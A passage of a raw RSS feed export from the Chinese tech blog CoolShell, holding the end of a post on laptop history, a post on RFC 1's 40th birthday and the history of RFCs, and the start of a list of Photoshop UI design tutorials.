srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101.jpg 410w, https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101-300x212.jpg 300w\" sizes=\"(max-width: 410px) 100vw, 410px\" /></a></p>\n<p> </p>\n<p>我们再来看看未来的电脑，下图是Sony VAIO Zoom，一台使用全息技术的笔记本电脑。可能未来还不止如此，让我们一起期望……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-389\" title=\"sony-zoom\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom.jpg\" alt=\"sony-zoom\" width=\"550\" height=\"413\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom-300x225.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p>文章：<a href=\"http://www.geekwithlaptop.com/laptop-revolution-where-size-does-mater-a-whole-lot/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/JQXWL-150x150.png\" alt=\"我有一个Hello World的C++程序编译不过\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4170.html\" class=\"wp_rp_title\">我有一个Hello World的C++程序编译不过</a></li><li ><a href=\"https://coolshell.cn/articles/2036.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"2010 = 1+2-(3-4-5)*6*7*8-9\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2036.html\" class=\"wp_rp_title\">2010 = 1+2-(3-4-5)*6*7*8-9</a></li><li ><a href=\"https://coolshell.cn/articles/57.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/34-gnome-1-150x150.gif\" alt=\"80个优秀的AJAX方案\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/57.html\" class=\"wp_rp_title\">80个优秀的AJAX方案</a></li><li ><a href=\"https://coolshell.cn/articles/4561.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"对程序员职业的一些建议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4561.html\" class=\"wp_rp_title\">对程序员职业的一些建议</a></li><li ><a href=\"https://coolshell.cn/articles/1142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"BT雷人的程序语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1142.html\" class=\"wp_rp_title\">BT雷人的程序语言</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/378.html\">笔记本电脑的发展史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/378.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>RFC1 40岁生日</title>\n\t\t<link>https://coolshell.cn/articles/373.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/373.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 08 Apr 2009 13:44:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[APRANET]]></category>\n\t\t<category><![CDATA[Internet]]></category>\n\t\t<category><![CDATA[RFC]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=373</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>昨天（2009年4月7日）是RFC 1的40岁生日。注意，这不是KFC，而是RFC。;-) 1969年的今天，我们有一第一个RFC（http://www.faq...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/373.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/373.html\">RFC1 40岁生日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>昨天（2009年4月7日）是RFC 1的40岁生日。注意，这不是KFC，而是RFC。;-)</p>\n<p>1969年的今天，我们有一第一个RFC（<a href=\"http://www.faqs.org/rfcs/rfc1.html\">http://www.faqs.org/rfcs/rfc1.html</a>）。这成为了以后整个Internet的基础。</p>\n<p>所谓RFC，全称为Request For Comments ，是一系列以编号排定的文件。文件收集了有关互联网相关资讯，以及UNIX和互联网社群的软件文件。目前RFC文件是由Internet Society（ISOC）所赞助发行。</p>\n<p>RFC包含了关于Internet的几乎所有重要的文字资料。如果你想成为网络方面的专家，那么RFC无疑是最重要也是最经常需要用到的资料之一，所以RFC享有网络知识圣经之美誉。通常，当某家机构或团体开发出了一套标准或提出对某种标准的设想，想要征询外界的意见时，就会在Internet上发放一份RFC，对这一问题感兴趣的人可以阅读该RFC并提出自己的意见；绝大部分网络标准的制定都是以RFC的形式开始，经过大量的论证和修改过程，由主要的标准化组织所制定的，但在RFC中所收录的文件并不都是正在使用或为大家所公认的，也有很大一部分只在某个局部领域被使用或并没有被采用，一份RFC具体处于什么状态都在文件中作了明确的标识。</p>\n<p><span id=\"more-373\"></span></p>\n<p><strong>RFC的历史</strong></p>\n<p>RFC文件格式最初作为ARPA网计划的基础起源于1969年。如今，它已经成为IETF、Internet Architecture Board (IAB)还有其他一些主要的公共网络研究社区的正式出版物发布途径。</p>\n<p>最初的RFC作者使用打字机撰写文档，并在美国国防部国防前沿研究项目署（ARPA）研究成员之间传阅。1969年12月，他们开始通过ARPANET途径来发布新的RFC文档。第一份RFC文档由洛杉矶加利福尼亚大学（UCLA）的Steve Crocker撰写，在1969年4月7日公开发表的RFC 1。当初Crocker为了避免打扰他的室友，是在浴室里完成这篇文档的。</p>\n<p>在1970年代，很多后来的RFC文档同样来自UCLA，这不仅得益于UCLA的学术质量，同时也因为UCLA是ARPANET第一批Interface Message Processors (IMPs)成员之一。</p>\n<p>由Douglas Engelbart领导的，位于Stanford Research Institute的Augmentation Research Center (ARC)是四个最初的ARPANET结点之一，也是最初的Network Information Centre，同时被社会学家Thierry Bardini记录为早期大量RFC文档的发源地。</p>\n<p>从1969年到1998年，Jon Postel一直担任RFC文档的编辑职务。随着美国政府赞助合同的到期，Internet Society（代表IETF），和南加州大学（USC）Information Sciences Institute的网络部门合作，（在IAB领导下）负责RFT文档的起草和发布工作。Jon Postel继续担任RFC编辑直到去世。随后，由Bob Braden接任整个项目的领导职务，同时Joyce Reynolds继续在团队中的担任职务。</p>\n<p>庆祝RFC的30周年的RFC文件是RFC 2555。</p>\n<p><span class=\"mw-headline\"><strong>RFC文件的架构</strong></span></p>\n<p>RFC文件只有新增，不会有取消或中途停止发行的情形。但是对于同一主题而言，新的RFC文件可以声明取代旧的RFC文件。RFC文件是纯<a title=\"ASCII\" href=\"https://coolshell.cn/w/index.php?title=ASCII&amp;variant=zh-cn\">ASCII</a>文字档格式，可由电脑程式自动转档成其他档案格式。RFC文件有封面、目录及页首页尾和页码。RFC的章节是数字标示，但数字的小数点后不补零，例如4.9的顺序就在4.10前面，但9的前面并不补零。<a class=\"external text\" title=\"http://www.faqs.org/rfcs/rfc1000.html\" rel=\"nofollow\" href=\"http://www.faqs.org/rfcs/rfc1000.html\">RFC1000</a>这份文件就是RFC的指南。</p>\n<p><strong>RFC文件的产生</strong></p>\n<p>RFC文件是由Internet Society审核后给定编号并发行。虽然经过审核，但RFC也并非全部严肃而生硬的技术文件，偶有恶搞之作出现，尤其是4月1日愚人节所发行的，例如<a class=\"external\" title=\"http://tools.ietf.org/html/rfc1606\" href=\"http://tools.ietf.org/html/rfc1606\">RFC 1606</a>: A Historical Perspective On The Usage Of IP Version 9（参见<a title=\"IPv9\" href=\"https://coolshell.cn/w/index.php?title=IPv9&amp;variant=zh-cn\">IPv9</a>）、<a class=\"external\" title=\"http://tools.ietf.org/html/rfc2324\" href=\"http://tools.ietf.org/html/rfc2324\">RFC 2324</a>：“<a class=\"mw-redirect\" title=\"HTCPCP\" href=\"https://coolshell.cn/w/index.php?title=HTCPCP&amp;variant=zh-cn\">超文字咖啡壶控制协定</a>”（<em>Hyper Text Coffee Pot Control Protocol</em>，乍有其事的写了<strong>HTCPCP</strong>这样看起来很专业的术语缩写字）。以及如前面所提到纪念RFC的30周年庆的RFC文件。</p>\n<p><strong>相关链接</strong></p>\n<ul>\n<li><a class=\"external text\" title=\"http://www.ietf.org/rfc.html\" rel=\"nofollow\" href=\"http://www.ietf.org/rfc.html\">IETF RFC</a></li>\n<li><a class=\"external text\" title=\"http://www.rfc-editor.org\" rel=\"nofollow\" href=\"http://www.rfc-editor.org/\">RFC Editor</a></li>\n<li><a class=\"external text\" title=\"http://www.cnpaf.net/class/rfc\" rel=\"nofollow\" href=\"http://www.cnpaf.net/class/rfc\">RFC的中译文档</a></li>\n</ul>\n<p>上面的资料来源于维基百科：<a href=\"http://zh.wikipedia.org/wiki/RFC\">http://zh.wikipedia.org/wiki/RFC</a></p>\n<p><a href=\"http://zh.wikipedia.org/wiki/RFC\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet-150x150.jpg\" alt=\"Internet 技术演变图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_title\">Internet 技术演变图</a></li><li ><a href=\"https://coolshell.cn/articles/4907.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"在函数外存取局部变量的一个比喻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4907.html\" class=\"wp_rp_title\">在函数外存取局部变量的一个比喻</a></li><li ><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp1-150x150.jpg\" alt=\"TCP网络关闭的状态变换时序图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_title\">TCP网络关闭的状态变换时序图</a></li><li ><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"JS游戏引擎列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_title\">JS游戏引擎列表</a></li><li ><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"五大基于JVM的脚本语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_title\">五大基于JVM的脚本语言</a></li><li ><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" alt=\"编程时间分配图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_title\">编程时间分配图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/373.html\">RFC1 40岁生日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/373.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>35个强大的UI设计教程</title>\n\t\t<link>https://coolshell.cn/articles/363.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/363.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 07 Apr 2009 09:02:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=363</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是35个非常不错的UI设计的的教程及效果图，非常不错哦。不但教你如何做一些特效，同样教你如何做UI布局和界面设计。当然，他们风格迥异，也基本上都是Web页面...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/363.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/363.html\">35个强大的UI设计教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是35个非常不错的UI设计的的教程及效果图，非常不错哦。不但教你如何做一些特效，同样教你如何做UI布局和界面设计。当然，他们风格迥异，也基本上都是Web页面上的。都非常不错。希望你喜欢。（点击下面的图片可以打开相关的教程）</p>\n<p><a href=\"http://www.talk-mania.com/web-layouts/43999-old-paper-layout-great-portfolio-layout.html\"><span style=\"color: #000000; background-color: #e0f6ff;\">Old Paper Layout<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"18\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/18.jpg\" border=\"0\" alt=\"18\" width=\"477\" height=\"478\" /></span></a></p>\n<p><span id=\"more-363\"></span></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2841/Professional-Modern-Web-Layout\"><span style=\"color: #000000; background-color: #e0f6ff;\">Professional Modern Web Layout<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"116\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/116.jpg\" border=\"0\" alt=\"116\" width=\"477\" height=\"418\" /></span></a></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2931/1/Photography-portfolio\"><span style=\"color: #4f5051; background-color: #e0f6ff;\">Photography portfolio Design<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"107\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/107.jpg\" border=\"0\" alt=\"107\" width=\"477\" height=\"483\" /></span></a></p>\n<p><a href=\"http://www.tutorialshot.com/professional-header-design-for-your-website/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Professional header design for your website<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"final_small\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/final-small.gif\" border=\"0\" alt=\"final_small\" width=\"477\" height=\"103\" /></span></a></p>\n<p><a href=\"http://www.photoshopstar.com/web-graphics/glossy-style-carbon-fibre-navigation-set/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Glossy-Style Carbon Fibre Navigation Buttons<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"glossy-clan-navigation\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/glossyclannavigation.jpg\" border=\"0\" alt=\"glossy-clan-navigation\" width=\"477\" height=\"200\" /></span></a></p>\n<p><a href=\"http://psdtuts.com/tutorials/interface-tutorials/photoshop-paper-texture-from-scratch-then-create-a-grungy-web-design-with-it/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Photoshop Paper Texture from Scratch then Create a Grungy Web Design with it!<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"final\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/final.jpg\" border=\"0\" alt=\"final\" width=\"477\" height=\"358\" /></span></a></p>\n<p><a href=\"http://pshero.com/archives/volkswagen-inspired-navigation\"><span style=\"color: #000000; background-color: #e0f6ff;\">Volkswagen Inspired Navigation<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"final-nav\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/finalnav.jpg\" border=\"0\" alt=\"final-nav\" width=\"477\" height=\"222\" /></span></a></p>\n<p><a href=\"http://magnusfx.com/graphics/creating-a-glossy-3d-button\"><span style=\"color: #000000; background-color: #e0f6ff;\">Creating A Glossy 3D Button<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"finished-300x146\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/finished300x146.jpg\" border=\"0\" alt=\"finished-300x146\" width=\"477\" height=\"146\" /></span></a></p>\n<p><a href=\"http://www.pstut.info/tutorials/royal-interface/\"><span style=\"color: #4f5051; background-color: #e0f6ff;\">Royal Interface &#8211; Design Tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"royfinal\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/royfinal.jpg\" border=\"0\" alt=\"royfinal\" width=\"477\" height=\"424\" /></span></a></p>\n<p><a href=\"http://www.webdesignerwall.com/tutorials/design-watercolor-effect-menu/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design Watercolor Effect Menu<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"menu-sample\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/menusample.jpg\" border=\"0\" alt=\"menu-sample\" width=\"477\" height=\"141\" /></span></a></p>\n<p><a href=\"http://www.tutzor.com/index.php/2008/05/tutzor-web-20-style-re-design/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Tutzor web 2.0 style design<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"Final_large\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/final-large.jpg\" border=\"0\" alt=\"Final_large\" width=\"477\" height=\"887\" /></span></a></p>\n<p><a href=\"http://alfoart.com/black_design_1.html\"><span style=\"color: #000000; background-color: #e0f6ff;\">Black Website Design<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"web_medium\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/web-medium.jpg\" border=\"0\" alt=\"web_medium\" width=\"477\" height=\"382\" /></span></a></p>\n<p><a href=\"http://psdtuts.com/interface-tutorials/how-to-create-a-simple-sleek-web-20-site-footer/\"><span style=\"color: #000000; background-color: #e0f6ff;\">How to Create a Simple &amp; Sleek Web 2.0 Site Footer<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"sleekweb20final\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/sleekweb20final.jpg\" border=\"0\" alt=\"sleekweb20final\" width=\"477\" height=\"159\" /></span></a></p>\n<p><a href=\"http://psdtuts.com/tutorials/interface-tutorials/how-to-create-a-grunge-web-design-in-photoshop/\"><span style=\"color: #000000; background-color: #e0f6ff;\">How to Create a Grunge Web Design in Photoshop<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"click\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/click.jpg\" border=\"0\" alt=\"click\" width=\"477\" height=\"477\" /></span></a></p>\n<p><a href=\"http://www.cleardetails.com/2007/professionaldesignstudiowebtemplate2/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Professional Design Studio Web Template in Adobe Photoshop<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"final\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/final.png\" border=\"0\" alt=\"final\" width=\"477\" height=\"371\" /></span></a></p>\n<p><a href=\"http://psdvibe.com/2009/01/20/corporate-wordpress-style-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Corporate WordPress Style Layout<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"photoshop_tutorial_22\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/photoshop-tutorial-22.jpg\" border=\"0\" alt=\"photoshop_tutorial_22\" width=\"477\" height=\"684\" /></span></a></p>\n<p><a href=\"http://www.blog.spoongraphics.co.uk/tutorials/create-a-vibrant-modern-blog-design-in-adobe-photoshop\"><span style=\"color: #000000; background-color: #e0f6ff;\">Create a Vibrant Modern Blog Design in Photoshop<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"37\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/37.jpg\" border=\"0\" alt=\"37\" width=\"477\" height=\"403\" /></span></a></p>\n<p><a href=\"http://www.originmaker.com/2008/simple-content-box-photoshop-tutorial/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Simple Rounded Content Box in Photoshop<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"Result\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/result.gif\" border=\"0\" alt=\"Result\" width=\"477\" height=\"392\" /></span></a></p>\n<p><a href=\"http://psdtuts.com/interface-tutorials/design-a-cartoon-grunge-website-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Cartoon Grunge Web site Layout<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"cartoonclick\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/cartoonclick.jpg\" border=\"0\" alt=\"cartoonclick\" width=\"477\" height=\"338\" /></span></a></p>\n<p><a href=\"http://psdfan.com/designing/design-a-unique-grungy-website/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Unique Grungy Website Layout<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"grungydesignfinalsmall\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/grungydesignfinalsmall.jpg\" border=\"0\" alt=\"grungydesignfinalsmall\" width=\"477\" height=\"381\" /></span></a></p>\n<p><a href=\"http://pshero.com/archives/a-scrap-of-notebook-paper\"><span style=\"color: #000000; background-color: #e0f6ff;\">A Scrap Of Notebook Paper<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"tornfinal\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/tornfinal.jpg\" border=\"0\" alt=\"tornfinal\" width=\"477\" height=\"265\" /></span></a></p>\n<p><a href=\"http://magnusfx.com/graphics/creating-a-glossy-navigation-bar\"><span style=\"color: #000000; background-color: #e0f6ff;\">Creating A Glossy Navigation Bar<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"final1\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/final1.png\" border=\"0\" alt=\"final1\" width=\"477\" height=\"150\" /></span></a></p>\n<p><a href=\"http://psdfan.com/tutorials/designing/making-the-clean-grunge-blog-design/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Making the ‘Clean Grunge’ Blog Design Photoshop tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"cleang28\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/cleang28.jpg\" border=\"0\" alt=\"cleang28\" width=\"477\" height=\"314\" /></span></a></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2867/1/Sound-System-Studio-Web-Layout\"><span style=\"color: #000000; background-color: #e0f6ff;\">Sound System Studio Web Layout Photoshop tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"88bluedesign\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/88bluedesign.jpg\" border=\"0\" alt=\"88bluedesign\" width=\"477\" height=\"555\" /></span></a></p>\n<p><a href=\"http://alfoart.com/platinum_webdesign_1.html\"><span style=\"color: #000000; background-color: #e0f6ff;\">Platinum Shiny, Glossy and Slick Web Design Photoshop tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"platinum_medium\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/platinum-medium.jpg\" border=\"0\" alt=\"platinum_medium\" width=\"477\" height=\"526\" /></span></a></p>\n<p><a href=\"http://hv-designs.co.uk/2008/11/24/design-studio-layout-2/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design Studio Layout &#8211; Photoshop Tutorial<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"design_studio2_big\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/design-studio2-big.gif\" border=\"0\" alt=\"design_studio2_big\" width=\"477\" height=\"156\" /></span></a></p>\n<p><a href=\"http://flyosity.com/tutorial/billings-icon-design-tutorial.php\"><span style=\"color: #000000; background-color: #e0f6ff;\">How To Draw The Billings Application Icon<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"step5.3\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/step53.png\" border=\"0\" alt=\"step5.3\" width=\"477\" height=\"247\" /></span></a></p>\n<p><a href=\"http://netcades.com/2008/07/21/clean-vertical-navigation-interface-in-photoshop/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Clean Vertical Navigation Interface in Photoshop<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"Final\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/final.gif\" border=\"0\" alt=\"Final\" width=\"477\" height=\"236\" /></span></a></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2988/1/Website-Design-Studio\"><span style=\"color: #000000; background-color: #e0f6ff;\">Website Design Studio<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"70\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/70.jpg\" border=\"0\" alt=\"70\" width=\"477\" height=\"359\" /></span></a></p>\n<p><a href=\"http://kailoon.com/creating-a-professional-magazine-web-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Creating A Professional Magazine Web Layout<br />\n<img decoding=\"async\" loading=\"lazy\" style=\"display: inline; border-width: 0px;\" title=\"previewsiteutt\" src=\"http://www.problogdesign.com/wp-content/uploads/2009/04/previewsiteutt.png\" border=\"0\" alt=\"previewsiteutt\" width=\"477\" height=\"447\" /></span></a></p>\n<p><a href=\"http://www.talk-mania.com/web-layouts/39171-design-agency-layout-tutorial-151-a.html\"><span style=\"color: #000000; background-color: 